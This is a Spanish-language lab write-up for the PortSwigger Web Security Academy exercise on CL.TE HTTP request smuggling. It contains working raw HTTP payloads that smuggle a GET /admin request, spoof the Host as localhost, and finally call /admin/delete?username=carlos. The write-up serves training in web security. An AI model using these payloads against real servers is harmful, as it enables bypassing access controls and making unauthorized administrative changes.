> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/front-end-security-bypass-via-cl-te.md).

# Evasión de seguridad del front-end mediante CL.TE

Notas de Evasión de seguridad del front-end mediante CL.TE para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Explotando el contrabandeo de solicitudes HTTP para eludir los controles de seguridad del front-end, vulnerabilidad CL.TE

El laboratorio utiliza un **extremo frontal** servidor y un **extremo posterior**. / El front-end **no admite la codificación chunked**, mientras que el back-end lo acepta. / El acceso al panel de administración ubicado en **/admin** está bloqueado por el front-end.

El objetivo es **contrabandear una solicitud** al back-end, permitiendo el acceso al panel de administración, luego **eliminar al usuario carlos**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8382a2863b93250e209c603251eeccae7a0cff3c%2F%7B0A29A2DA-3ED1-4BC9-BCE7-4A3811578253%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **1. Verificación de la vulnerabilidad CL.TE**

El front-end interpreta Content-Length, mientras que el back-end utiliza Transfer-Encoding.

Carga útil básica CL.TE:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked

0


```

Esto devuelve un **200**, lo que confirma que el back-end toma `Transfer-Encoding` en cuenta.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21de3c661c30b13ef9ff9705701e37f7c58fef8d%2F%7B0FD189D5-7E19-4DEE-97B1-41AD97515D6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **2. Inyección de una solicitud contrabandeada**

Cuando luego se encadena una solicitud, el back-end lee la solicitud contrabandeada:

```http
Content-Length: 33
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Prueba: A
```

El back-end responde que **solo los usuarios locales** pueden acceder a /admin.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00df1890b07152437463b3060d206d3f66020121%2F%7B300750AC-740C-4C8F-9C2C-9A0A0BE49D15%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **3. Usurpación del Host para parecer local**

Para eludir la restricción, el back-end debe creer que la solicitud proviene de localhost.

Intento inicial:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
```

Pero el servidor devuelve:

```json
{
 "error":"No se permiten nombres de encabezado duplicados"
}
```

Por lo tanto, el back-end no interpreta esta solicitud como una nueva solicitud completa.

### **4. Construcción de una solicitud contrabandeada correcta**

Un `Content-Length` se añade a la solicitud contrabandeada, para que se procese correctamente:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 9

test=test
```

Para que el back-end lea la solicitud correctamente, ajustamos el tamaño:

```http
Content-Length: 10
```

La solicitud completa enviada al front-end se convierte en:

```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-672c36495983a952ef61a077891df4ab9afb8bec%2F%7B701E405D-1ECB-4E69-926C-E59B0ED6483B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **5. Eliminación del usuario Carlos**

Ahora simplemente sustituye la línea GET por la llamada de eliminación:

```http
Content-Length: 97
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 10

test=test
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48c6de9b8cf570a6a05a5d288ec348e296bccac3%2F%7B83660781-1F24-46E5-90EE-65BE92F97165%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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